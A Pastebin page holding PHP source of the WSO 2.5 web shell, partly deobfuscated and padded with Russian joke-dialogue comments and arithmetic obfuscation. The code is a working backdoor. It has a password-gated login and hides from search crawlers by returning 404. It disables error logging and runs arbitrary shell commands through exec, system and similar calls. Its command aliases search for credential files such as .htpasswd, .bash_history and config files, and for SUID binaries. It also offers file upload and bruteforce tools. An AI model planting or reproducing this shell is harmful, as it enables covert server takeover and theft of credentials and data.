API tools faq
paste
wrsi

DAVID

wrsi
May 27th, 2014
401
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 161.75 KB | None | 0 0
raw download clone embed print report
  1. <?php
  2. /**
  3. *
  4. * @ Power Decoder
  5. * @ vv456
  6. * @ www.waraxe.us/forum-userprofile-8669.html
  7. */
  8.  
  9. $__authentication_pass = "52b1d005abc139cc281a32d8aa7cd1c2";
  10. $color = "#df5";
  11. $__default__action = 'FilesMan';
  12. $default_use_ajax = true;
  13. $default_charset = 'Windows-1251';
  14. if (!empty($_SERVER['HTTP_USER_AGENT'])) {
  15.     $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
  16.     if (preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
  17.         header('HTTP/1.0 404 Not Found');
  18.         exit;
  19.     }
  20. }
  21. @ini_set('error_log', NULL);
  22. @ini_set('log_errors', round(0));
  23. @ini_set('max_execution_time', round(0));
  24. @set_time_limit(round(0));
  25. @set_magic_quotes_runtime(round(0));
  26. @define('WSO_VERSION', '2.5');
  27. if (get_magic_quotes_gpc()) {
  28.     function /* <David Blaine>: Ага, вот эти ребята... */
  29.     _WSO__stripslashes($array)
  30.     {
  31.         return /* <Peter>: Ненененене!! */
  32.             is_array($array) ? array_map('_WSO__stripslashes', $array) : stripslashes($array);
  33.     }
  34.  
  35.     $_POST = _WSO__stripslashes($_POST);
  36.     $_COOKIE = _WSO__stripslashes($_COOKIE);
  37. }
  38. function /* <Avon>: Нет, нет, Дэвид Блейн, нет! */
  39. __wsoLogin()
  40. {
  41.     die("<pre align=center><form method=post>Password: <input type=password name=pass><input type=submit value='>>'></form></pre>");
  42. }
  43.  
  44. function /* <David Blaine>: Я делаю особую, уличную магию. */
  45. __WSO__setcookie($k, $v)
  46. {
  47.     $_COOKIE[$k] = $v;
  48.     setcookie($k, $v);
  49. }
  50.  
  51. if (!empty($__authentication_pass)) {
  52.     if (isset($_POST['pass']) && (md5($_POST['pass']) == /* <David Blaine>: Кто хочет увидеть немного магии? */
  53.             $__authentication_pass)
  54.     ) __WSO__setcookie(md5($_SERVER['HTTP_HOST']), $__authentication_pass);
  55.     if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != /* <Avon>: Чё мы тебе, долботрясы какие-нибудь? Нет, спасибо! */
  56.             $__authentication_pass)
  57.     ) __wsoLogin();
  58. }
  59. if (strtolower(substr(PHP_OS, round(0), round(0 + 1 + 1 + 1))) == /* <Peter>: Мы целый день шопились, заманались, хотим просто отдохнуть, всё! */
  60.     "win"
  61. ) $os = 'win'; else /* <David Blaine>: И где вы шопились? */
  62. $os = 'nix';
  63. $safe_mode = @ini_get('safe_mode');
  64. if (!$safe_mode) error_reporting(round(0));
  65. $disable_functions = @ini_get('disable_functions');
  66. $home_cwd = @getcwd();
  67. if (isset($_POST['c'])) @chdir($_POST['c']);
  68. $cwd = @getcwd();
  69. if ($os /* <Peter>: В один магаз ходили новый! */
  70.     == /* <Avon>: Он ещё не трендовый, ты про него не знаешь. */
  71.     'win'
  72. ) {
  73.     $home_cwd = str_replace("\\", "/", $home_cwd);
  74.     $cwd = str_replace("\\", "/", $cwd);
  75. }
  76. if ($cwd[strlen($cwd) - round(0 + 1)] != /* <David Blaine>: И чо купили? */
  77.     '/'
  78. ) $cwd /* <Avon>: Я купил зеленый свитер, если ты так хочешь знать! */
  79.     .= /* <Peter>: Зеленый свитер! */
  80.     '/';
  81. if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'])) $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$default_use_ajax;
  82. if ($os /* <David Blaine>: Интересно... А ты уверен, что ты не купил тедди беар, плюшевого мишку? */
  83.     == /* <Avon>: Да, я уверен! */
  84.     'win'
  85. ) $aliases = array("List Directory" => /* <Avon>: ТЕДДИ БИР!! */
  86. "dir", "Find index.php in current dir" => /* <Peter>: Чё за херь! */
  87. "dir /s /w /b index.php", "Find *config*.php in current dir" => /* <Peter>: Э, ты чо сделал-то, а?! */
  88. "dir /s /w /b *config*.php", "Show active connections" => /* <Avon>: Где мой свитер? */
  89. "netstat -an", "Show running services" => /* <Peter>: Эй, он купил свитер, а он исчез, это ты его стырил? Притырил себе свитер, да это воровство! Отдай его свитер, сволочь! */
  90. "net start", "User accounts" => /* <Avon>: Я потратил 48 долларов, ты, тупой и убогий фокусник! Где он? */
  91. "net user", "Show computers" => /* <Peter>: Питер, глянь чо на тебе! */
  92. "net view", "ARP Table" => /* <Avon>: Что за херня??? Как? */
  93. "arp -a", "IP Configuration" => /* <Peter>: В РОТ МНЕ НОГИ!!! */
  94. "ipconfig /all"); else /* <Avon>: Я держал в руках вещи! */
  95. $aliases = array("List dir" => /* <Peter>: В рот мне ноги! */
  96. "ls -lha", "list file attributes on a Linux second extended file system" => /* <Avon>: А, он уже растянутый, спасибо тебе! */
  97. "lsattr -va", "show opened ports" => /* <Peter>: Слушай, остановись, а? */
  98. "netstat -an | grep -i listen", "process status" => /* <Avon>: Растянул свитер, я его даже не поносил ещё! */
  99. "ps aux", "Find" => /* <David Blaine>: Эй. Эй, чё ты пьёшь? */
  100. "", "find all suid files" => /* <Peter>: Оранж соду я пью! Что, в медведя превратишь? Я стакан-то держу! */
  101. "find / -type f -perm -04000 -ls", "find suid files in current dir" => /* <David Blaine>: Оранж соду? Может чё-нить другое оранжевое? */
  102. "find . -type f -perm -04000 -ls", "find all sgid files" => /* <Peter>: Чо ещё оранжевое? Ну это, печеньки? */
  103. "find / -type f -perm -02000 -ls", "find sgid files in current dir" => /* <Peter>: ПЕЧЕНЬКИ!!! Стрелять-колотить! */
  104. "find . -type f -perm -02000 -ls", "find config.inc.php files" => /* <Peter>: ПЕЧЕНЬКИ!!! Печеньки! Печеньки! Печеньки! */
  105. "find / -type f -name config.inc.php", "find config* files" => /* <Peter>: Где оранж сода? Ты чо делаешь вообще, ты чо делаешь? */
  106. "find / -type f -name \"config*\"", "find config* files in current dir" => /* <Avon>: У меня во рту оранж сода! */
  107. "find . -type f -name \"config*\"", "find all writable folders and files" => /* <Peter>: Я на измене, я на измене! */
  108. "find / -perm -2 -ls", "find all writable folders and files in current dir" => /* <Avon>: Какая херня, ты положил её мне в рот! */
  109. "find . -perm -2 -ls", "find all service.pwd files" => /* <Peter>: В рот мне ноги, ты прекратишь это или нет, демон, остановись, в рот мне ноги! */
  110. "find / -type f -name service.pwd", "find service.pwd files in current dir" => /* <David Blaine>: Ну ладно-ладно, ребята, знаете, я хочу показать вам кое-что действительно крутое... */
  111. "find . -type f -name service.pwd", "find all .htpasswd files" => /* <Peter>: НЕТ! */
  112. "find / -type f -name .htpasswd", "find .htpasswd files in current dir" => /* <Avon>: Не, чувак, лучше себе показывай! */
  113. "find . -type f -name .htpasswd", "find all .bash_history files" => /* <David Blaine>: Так, подождите одну минуточку, секунду подождите... */
  114. "find / -type f -name .bash_history", "find .bash_history files in current dir" => /* <Avon>: Оставь нас в покое! */
  115. "find . -type f -name .bash_history", "find all .fetchmailrc files" => /* <Peter>: Ааа, видел я этот фокус, ножками перебирать будешь, типа взлететь хочешь. */
  116. "find / -type f -name .fetchmailrc", "find .fetchmailrc files in current dir" => /* <Avon>: Мой племянник может так сделать, тоже мне фокус! */
  117. "find . -type f -name .fetchmailrc", "Locate" => /* <David Blaine>: Просто подождите секундочку, а? */
  118. "", "locate httpd.conf files" => /* <Peter>: Крис Эйнджел делает это лучше, сука, понял, Крис Эйнджел делает это лучше! */
  119. "locate httpd.conf", "locate vhosts.conf files" => /* <Avon>: Эйвин! Я лечу! */
  120. "locate vhosts.conf", "locate proftpd.conf files" => /* <Peter>: Ёманарот!! */
  121. "locate proftpd.conf", "locate psybnc.conf files" => /* <Avon>: Я чувствую тепло и лечу! */
  122. "locate psybnc.conf", "locate my.conf files" => /* <Peter>: ЁМАНАРОТ!!! */
  123. "locate my.conf", "locate admin.php files" => "locate admin.php", "locate cfg.php files" => /* <Peter>: Опусти его, пожалуйста, а? Ёманарот, под ним ничо нету, совсем ничо нету! */
  124. "locate cfg.php", "locate conf.php files" => /* <Avon>: Он закинул меня на крышу! Он на крышу меня зачем-то закинул! Зачем ты меня сюда закинул? Дэвид Блейн, дай мне слезть! Дэвид Блейн, спусти меня! */
  125. "locate conf.php", "locate config.dat files" => /* <Peter>: Хватит мне газировку в рот пихать! */
  126. "locate config.dat", "locate config.php files" => /* <Avon>: Он даже не отлевитировал меня обратно! */
  127. "locate config.php", "locate config.inc files" => /* <Peter>: В рот мне ноги, валим отсюда быстрей! */
  128. "locate config.inc", "locate config.inc.php" => /* <David Blaine>: Эй, эй, ребята, ещё один трюк, ещё один фокус... */
  129. "locate config.inc.php", "locate config.default.php files" => /* <Peter>: Иди в пень, а то щас ментов позову! */
  130. "locate config.default.php", "locate config* files " => /* <David Blaine>: Эй, подождите, парни, последний, обещаю. Эй, ребята! */
  131. "locate config", "locate .conf files" => "locate '.conf'", "locate .pwd files" => /* <David Blaine>: Если вы дадите мне показать ещё один фокус, я дам вам сто долларов. */
  132. "locate '.pwd'", "locate .sql files" => /* <David Blaine>: Позвольте показать мне вам ещё один фокус, и я дам вам сто долларов. */
  133. "locate '.sql'", "locate .htpasswd files" => /* <Peter>: Дашь мне сто долларов? */
  134. "locate '.htpasswd'", "locate .bash_history files" => /* <Avon>: Ты сможешь купить тот шарфик! */
  135. "locate '.bash_history'", "locate .mysql_history files" => /* <Peter>: Точно! Зашибись, гони сто баксов. */
  136. "locate '.mysql_history'", "locate .fetchmailrc files" => /* <David Blaine>: Могу я зайти? */
  137. "locate '.fetchmailrc'", "locate backup files" => /* <Peter>: Ну ладно, пошли... */
  138. "locate backup", "locate dump files" => /* <Peter>: Ты точно деньги дашь? */
  139. "locate dump", "locate priv files" => /* <Avon>: Добро пожаловать в дом. */
  140. "locate priv");
  141. function /* <Peter>: И вот мы в моей квартире, и чо? */
  142. wsoHeader()
  143. {
  144.     if (empty($_POST['charset'])) $_POST['charset'] = $GLOBALS['default_charset'];
  145.     global /* <David Blaine>: Вот это что такое? */
  146.     $color;
  147.     echo /* <Peter>: Мой видак. */
  148.         "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " - WSO " . WSO_VERSION . "</title>
  149.    <style>
  150.        body{background-color:#444;color:#e1e1e1;}
  151.        body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
  152.        table.info{ color:#fff;background-color:#222; }
  153.        span,h1,a{ color: $color !important; }
  154.        span{ font-weight: bolder; }
  155.        h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
  156.        div.content{ padding: 5px;margin-left:5px;background-color:#333; }
  157.        a{ text-decoration:none; }
  158.        a:hover{ text-decoration:underline; }
  159.        .ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
  160.        .bigarea{ width:100%;height:300px; }
  161.        input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
  162.        form{ margin:0px; }
  163.        #toolsTbl{ text-align:center; }
  164.        .toolsInp{ width: 300px }
  165.        .main th{text-align:left;background-color:#5e5e5e;}
  166.        .main tr:hover{background-color:#5e5e5e}
  167.        .l1{background-color:#444}
  168.        .l2{background-color:#333}
  169.        pre{font-family:Courier,Monospace;}
  170.    </style>
  171.    <script>
  172.        var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
  173.        var a_ = '" . htmlspecialchars(@$_POST['a']) . "'
  174.        var charset_ = '" . htmlspecialchars(@$_POST['charset']) . "';
  175.        var p1_ = '" . ((strpos(@$_POST['p1'], "\n") !== false) ? '' : htmlspecialchars($_POST['p1'], ENT_QUOTES)) . "';
  176.        var p2_ = '" . ((strpos(@$_POST['p2'], "\n") !== false) ? '' : htmlspecialchars($_POST['p2'], ENT_QUOTES)) . "';
  177.        var p3_ = '" . ((strpos(@$_POST['p3'], "\n") !== false) ? '' : htmlspecialchars($_POST['p3'], ENT_QUOTES)) . "';
  178.        var d = document;
  179.        function set(a,c,p1,p2,p3,charset) {
  180.            if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
  181.            if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
  182.            if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
  183.            if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
  184.            if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
  185.            if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
  186.        }
  187.        function g(a,c,p1,p2,p3,charset) {
  188.            set(a,c,p1,p2,p3,charset);
  189.            d.mf.submit();
  190.        }
  191.        function a(a,c,p1,p2,p3,charset) {
  192.            set(a,c,p1,p2,p3,charset);
  193.            var params = 'ajax=true';
  194.            for(i=0;i<d.mf.elements.length;i++)
  195.                params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
  196.            sr('" . addslashes($_SERVER['REQUEST_URI']) . "', params);
  197.        }
  198.        function sr(url, params) {
  199.            if (window.XMLHttpRequest)
  200.                req = new XMLHttpRequest();
  201.            else if (window.ActiveXObject)
  202.                req = new ActiveXObject('Microsoft.XMLHTTP');
  203.            if (req) {
  204.                req.onreadystatechange = processReqChange;
  205.                req.open('POST', url, true);
  206.                req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
  207.                req.send(params);
  208.            }
  209.        }
  210.        function processReqChange() {
  211.            if( (req.readyState == 4) )
  212.                if(req.status == 200) {
  213.                    var reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm');
  214.                    var arr=reg.exec(req.responseText);
  215.                    eval(arr[2].substr(0, arr[1]));
  216.                } else alert('Request error!');
  217.        }
  218.    </script>
  219. <head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
  220.    <form method=post name=mf style='display:none;'>
  221.        <input type=hidden name=a>
  222.        <input type=hidden name=c>
  223.        <input type=hidden name=p1>
  224.        <input type=hidden name=p2>
  225.        <input type=hidden name=p3>
  226.        <input type=hidden name=charset>
  227.    </form>";
  228.     $freeSpace = @diskfreespace($GLOBALS['cwd']);
  229.     $totalSpace = @disk_total_space($GLOBALS['cwd']);
  230.     $totalSpace = $totalSpace ? $totalSpace : round(0 + 0.2 + 0.2 + 0.2 + 0.2 + 0.2);
  231.     $release = @php_uname('r');
  232.     $kernel = @php_uname('s');
  233.     $explink = 'http://exploit-db.com/search/?action=search&filter_description=';
  234.     if (strpos('Linux', $kernel) !== /* <David Blaine>: Интересно... Сделай мне одолжение, найди кассету, на которой написано 'Маленький Эйвон, апрель восемьдесят четвёртого'. */
  235.         false
  236.     ) $explink /* <Peter>: Щас посмотрю, может где-то есть... */
  237.         .= /* <David Blaine>: Посмотри в магнитофоне, она там. */
  238.         urlencode('Linux Kernel ' . substr($release, round(0), round(0 + 3 + 3))); else /* <Avon>: Чё-то мне как-то сыкатно... */
  239.     $explink /* <Peter>: Ну и чо такого, просто кассета, хоум видео... Я там в том возрасте ещё сиську сосу. Вот этот карапуз - я. */
  240.         .= /* <Avon>: А вот это мама Эйвона. */
  241.         urlencode($kernel . ' ' . substr($release, round(0), round(0 + 1.5 + 1.5)));
  242.     if (!function_exists('posix_getegid')) {
  243.         $user = @get_current_user();
  244.         $uid = @getmyuid();
  245.         $gid = @getmygid();
  246.         $group = "?";
  247.     } else {
  248.         $uid = @posix_getpwuid(posix_geteuid());
  249.         $gid = @posix_getgrgid(posix_getegid());
  250.         $user = $uid['name'];
  251.         $uid = $uid['uid'];
  252.         $group = $gid['name'];
  253.         $gid = $gid['gid'];
  254.     }
  255.     $cwd_links = '';
  256.     $path = explode("/", $GLOBALS['cwd']);
  257.     $n = count($path);
  258.     for ($i = round(0); $i < $n - round(0 + 0.5 + 0.5); $i++) {
  259.         $cwd_links /* <Peter>: Вот я сопли пузырями надуваю, и чо? */
  260.             .= /* <Avon>: Его мама и щас хорошо выглядит. */
  261.             "<a href='#' onclick='g(\"FilesMan\",\"";
  262.         for ($j = round(0); $j <= $i; $j++) $cwd_links /* <David Blaine>: <в видео:> Вот сто долларов. Я должен Вашему сыну. */
  263.             .= /* <Peter>: Фак мой моск!! */
  264.             $path[$j] . '/';
  265.         $cwd_links /* <Avon>: Это что вообще за хуйня?!!!! */
  266.             .= /* <Avon>: Тот же самый и там и там!! */
  267.             "\")'>" . $path[$i] . "/</a>";
  268.     }
  269.     $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
  270.     $opt_charsets = '';
  271.     foreach ($charsets /* <Peter>: Фак мой моск!!! */
  272.              as /* <Peter>: В рот мне ноги, тут вообще чё происходит-то, а?!!! */
  273.              $item) $opt_charsets /* <Avon>: Блин, я обоссался! */
  274.         .= /* <Peter>: Ёманарот, сдрисни вообще отсюда, демон, вали отсюда в прошлое или будущее, я не знаю, ёманарот! */
  275.         '<option value="' . $item . '" ' . ($_POST['charset'] == $item ? 'selected' : '') . '>' . $item . '</option>';
  276.     $m = array('Sec. Info' => 'SecInfo', 'Files' => 'FilesMan', 'Console' => 'Console', 'Sql' => 'Sql', 'Php' => 'Php', 'String tools' => 'StringTools', 'Bruteforce' => 'Bruteforce', 'Network' => 'Network');
  277.     if (!empty($GLOBALS['auth_pass'])) $m['Logout'] = 'Logout';
  278.     $m['Self remove'] = 'SelfRemove';
  279.     $menu = '';
  280.     foreach ($m /* <Peter>: Сдрисни отсюда, а то я ментов вызову, заяву на тебя накатаю! */
  281.              as /* <Peter>: Пошёл отсюда, говнюк! В рот мне ноги! */
  282.              $k /* <Operator>: Вот это впечатляюще было... */
  283.     => /* <David Blaine>: Подожди... */
  284.              $v) $menu /* <Peter>: Он обоссался оранж содой! */
  285.         .= /* <Peter>: В рот мне ноги!!! */
  286.         '<th width="' . (int)(round(0 + 33.333333333333 + 33.333333333333 + 33.333333333333) / count($m)) . '%">[ <a href="#" onclick="g(\'' . $v . '\',null,\'\',\'\',\'\')">' . $k . '</a> ]</th>';
  287.     $drives = "";
  288.     if ($GLOBALS['os'] == /* <=====end of part=====> */
  289.         'win'
  290.     ) {
  291.         foreach (range('c', 'z') as /* <David Blaine>: Ага, вот эти ребята... */
  292.                  $drive) if (is_dir($drive . ':\\')) $drives /* <David Blaine>: Эй, парни, я делаю особую, уличную магию */
  293.             .= /* <Avon>: Ненененене!! */
  294.             '<a href="#" onclick="g(\'FilesMan\',\'' . $drive . ':/\')">[ ' . $drive . ' ]</a> ';
  295.     }
  296.     echo /* <David Blaine>: Хотите немного волшебства? */
  297.         '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['os'] == /* <Peter>: Знаешь, не хотим! */
  298.         'win' ? '<br>Drives:' : '') . '</span></td>' . '<td><nobr>' . substr(@php_uname(), round(0), round(0 + 24 + 24 + 24 + 24 + 24)) . ' <a href="' . $explink . '" target=_blank>[exploit-db.com]</a></nobr><br>' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode'] ? '<font color=red>ON</font>' : '<font color=green><b>OFF</b></font>') . ' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . wsoViewSize($totalSpace) . ' <span>Free:</span> ' . wsoViewSize($freeSpace) . ' (' . (int)($freeSpace / $totalSpace * round(0 + 20 + 20 + 20 + 20 + 20)) . '%)<br>' . $cwd_links . ' ' . wsoPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>' . '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>' . '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">';
  299. }
  300.  
  301. function /* <Avon>: Нет, нет! Тебе по ордеру запрещено подкатывать свои демонские яйца к нам!! */
  302. wsoFooter()
  303. {
  304.     $is_writable = is_writable($GLOBALS['cwd']) ? " <font color='green'>(Writeable)</font>" : " <font color=red>(Not writable)</font>";
  305.     echo /* <Avon>: Я звоню ментам! */
  306.         "
  307.                                                                                                    </div>
  308.                                                                                                    <table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100%  style='border-top:2px solid #333;border-bottom:2px solid #333;'>
  309.                                                                                                        <tr>
  310.                                                                                                            <td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'><input type=submit value='>>'></form></td>
  311.                                                                                                            <td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
  312.                                                                                                        </tr><tr>
  313.                                                                                                            <td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>
  314.                                                                                                            <td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
  315.                                                                                                        </tr><tr>
  316.                                                                                                            <td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
  317.                                                                                                            <td><form method='post' ENCTYPE='multipart/form-data'>
  318.                                                                                                                    <input type=hidden name=a value='FilesMAn'>
  319.                                                                                                                    <input type=hidden name=c value='" . $GLOBALS['cwd'] . "'>
  320.                                                                                                                    <input type=hidden name=p1 value='uploadFile'>
  321.                                                                                                                    <input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>
  322.                                                                                                                    <span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br  ></td>
  323.                                                                                                        </tr></table></div></body></html>";
  324. }
  325.  
  326. if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid') === false)) {
  327.     function /* <Peter>: Продолжай пыриться! Ну. Ну пырься, пырься на меня, пырься, пырься. Ты ж знаешь, что это незаконно! */
  328.     posix_getpwuid($p)
  329.     {
  330.         return /* <Avon>: ...спасибо, спасибо... Они уже близко. Щас менты подъедут, понял? */
  331.             false;
  332.     }
  333. }
  334. if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid') === false)) {
  335.     function /* <David Blaine>: Вот ты. Что у тебя за машина? */
  336.     posix_getgrgid($p)
  337.     {
  338.         return /* <Peter>: У меня? Хонда чёрная! */
  339.             false;
  340.     }
  341. }
  342. function /* <David Blaine>: Интересно, хонда... Такая компактная, да? */
  343. wsoEx($in)
  344. {
  345.     $out = '';
  346.     if (function_exists('exec')) {
  347.         @exec($in, $out);
  348.         $out = @join("\n", $out);
  349.     } elseif (function_exists('passthru')) {
  350.         ob_start();
  351.         @passthru($in);
  352.         $out = ob_get_clean();
  353.     } elseif (function_exists('system')) {
  354.         ob_start();
  355.         @system($in);
  356.         $out = ob_get_clean();
  357.     } elseif (function_exists('shell_exec')) {
  358.         $out = shell_exec($in);
  359.     } elseif (is_resource($f = @popen($in, "r"))) {
  360.         $out = "";
  361.         while (!@feof($f)) $out /* <Peter>: Компактная? Да сам посмотри!.. Фак мой мозг!! Где машина? */
  362.             .= /* <Avon>: И где она? */
  363.             fread($f, round(0 + 204.8 + 204.8 + 204.8 + 204.8 + 204.8));
  364.         pclose($f);
  365.     }
  366.     return /* <Peter>: Ты украл мою машину, чё ты стырил-то мою машину?? */
  367.         $out;
  368. }
  369.  
  370. function /* <David Blaine>: Ты сам внимательн посмотри. */
  371. wsoViewSize($s)
  372. {
  373.     if (is_int($s)) $s = sprintf("%u", $s);
  374.     if ($s /* <Avon>: Вот эта ебалайка что ли твоя машина? */
  375.         >= /* <Peter>: В рот мне ноги, ты чё, скукожил мою машину? Да у меня там вся одежда осталась! Там джинсы мои лежали! */
  376.         round(0 + 1073741824)
  377.     ) return /* <Avon>: Ну тыздец. Это ж моя любимая кепка! Барби-сайз какой-то, куда мне её теперь одевать, на писюн? */
  378.         sprintf('%1.2f', $s / round(0 + 214748364.8 + 214748364.8 + 214748364.8 + 214748364.8 + 214748364.8)) . ' GB'; elseif ($s /* <Avon>: Так, дай-ка мне теперь ебалайку, дай сюда... Всё, ты в тюрьму теперь пойдёшь, Дэвид Блейн! Это вещдок, это вещдок! */
  379.         >= /* <Peter>: Ёманарот, ты вместе с джинсами семьдесят долларов скукожил, все компакт-диски покукожил, Джон Меир, Кэви Андервуд, Диск К миллионер... */
  380.         round(0 + 262144 + 262144 + 262144 + 262144)
  381.     ) return /* <Peter>: Ты скукожил К миллионер, ты говнюк! Ёманарот! */
  382.             sprintf('%1.2f', $s / round(0 + 1048576)) . ' MB'; elseif ($s /* <Avon>: Он машину раскукожил, пока я её в руках держал! Я чуть не умер! */
  383.         >= /* <Peter>: Встань с земли, простудишься! */
  384.         round(0 + 341.33333333333 + 341.33333333333 + 341.33333333333)
  385.     ) return /* <Avon>: Опа! Кепка опять налазит... */
  386.             sprintf('%1.2f', $s / round(0 + 341.33333333333 + 341.33333333333 + 341.33333333333)) . ' KB'; else /* <Peter>: Ну спасибоньки, ему-то кепку увеличил, а моя одежда и диски остались барби-сайз! Это нечестно! Я тебя ненавижу! Не смотри на меня, не пырься на меня своими глазами, не пырься, не могу! */
  387.     return /* <David Blaine>: Ну ладно, ладно, ладно. Вот что мы сделаем: накрой себя вот этим покрывалом, я досчитаю до трёх, и ты меня не увидишь никогда. */
  388.         $s . ' B';
  389. }
  390.  
  391. function /* <Peter>: И ты больше не будешь на меня пыриться? Хорошо, мне нравится этот фокус! Я его сделаю! */
  392. wsoPerms($p)
  393. {
  394.     if (($p & round(0 + 24576 + 24576)) == /* <Avon>: Эйвин! Будь осторожней! Чё-то мне как-то сыкатно! */
  395.         round(0 + 16384 + 16384 + 16384)
  396.     ) $i = 's'; elseif (($p & round(0 + 13653.333333333 + 13653.333333333 + 13653.333333333)) == /* <Peter>: Ну и чо я здесь за шторкой, как долботряс какой-то?! */
  397.         round(0 + 10240 + 10240 + 10240 + 10240)
  398.     ) $i = 'l'; elseif (($p & round(0 + 6553.6 + 6553.6 + 6553.6 + 6553.6 + 6553.6)) == /* <Avon>: Ты чо с ним сделал? Ты его скукожил?? Ты зачем ему сделал барби-сайз?! Ты его скукожил! Ты его скукожил!! Слушай, раскукожь обратно моего друга, раскукожь! */
  399.         round(0 + 6553.6 + 6553.6 + 6553.6 + 6553.6 + 6553.6)
  400.     ) $i = '-'; elseif (($p & round(0 + 12288 + 12288)) == /* <David Blaine>: Ну хорошо. Смотри. */
  401.         round(0 + 4915.2 + 4915.2 + 4915.2 + 4915.2 + 4915.2)
  402.     ) $i = 'b'; elseif (($p & round(0 + 8192 + 8192)) == /* <Peter>: ...ааААААА... */
  403.         round(0 + 4096 + 4096 + 4096 + 4096)
  404.     ) $i = 'd'; elseif (($p & round(0 + 1638.4 + 1638.4 + 1638.4 + 1638.4 + 1638.4)) == /* <Avon>: Чё за херня? Я чё-то слышу... Эйвон? Ты его изговнякал! Изговнякал зачем? */
  405.         round(0 + 2730.6666666667 + 2730.6666666667 + 2730.6666666667)
  406.     ) $i = 'c'; elseif (($p & round(0 + 1024 + 1024 + 1024 + 1024)) == /* <Peter>: В рот мне ноги, я во временах динозавров был! */
  407.         round(0 + 1365.3333333333 + 1365.3333333333 + 1365.3333333333)
  408.     ) $i = 'p'; else /* <Avon>: Чё? Да тебя десять секунд не было! */
  409.     $i = 'u';
  410.     $i /* <Peter>: Это здесь десять секунд, а там, во временах динозавров, я неделю парился! */
  411.         .= (($p & round(0 + 128 + 128)) ? 'r' : '-');
  412.     $i /* <Peter>: Пять дней и четыре ночи! Ягоды жрал, корешки какие-то... Боролся с динозаврами за жизнь! */
  413.         .= (($p & round(0 + 25.6 + 25.6 + 25.6 + 25.6 + 25.6)) ? 'w' : '-');
  414.     $i /* <Avon>: Ну ты хоть на них покатался? */
  415.         .= (($p & round(0 + 64)) ? (($p & round(0 + 1024 + 1024)) ? 's' : 'x') : (($p & round(0 + 512 + 512 + 512 + 512)) ? 'S' : '-'));
  416.     $i /* <Peter>: Ты чо, ёкнулся что ли, кататься, это ж не карусельки, а парк Юрского периода настоящий! */
  417.         .= (($p & round(0 + 16 + 16)) ? 'r' : '-');
  418.     $i /* <Peter>: Ты чё на меня пыришься, демон??! */
  419.         .= (($p & round(0 + 4 + 4 + 4 + 4)) ? 'w' : '-');
  420.     $i /* <Avon>: Вот долботряс, даже не покатался! */
  421.         .= (($p & round(0 + 2.6666666666667 + 2.6666666666667 + 2.6666666666667)) ? (($p & round(0 + 341.33333333333 + 341.33333333333 + 341.33333333333)) ? 's' : 'x') : (($p & round(0 + 256 + 256 + 256 + 256)) ? 'S' : '-'));
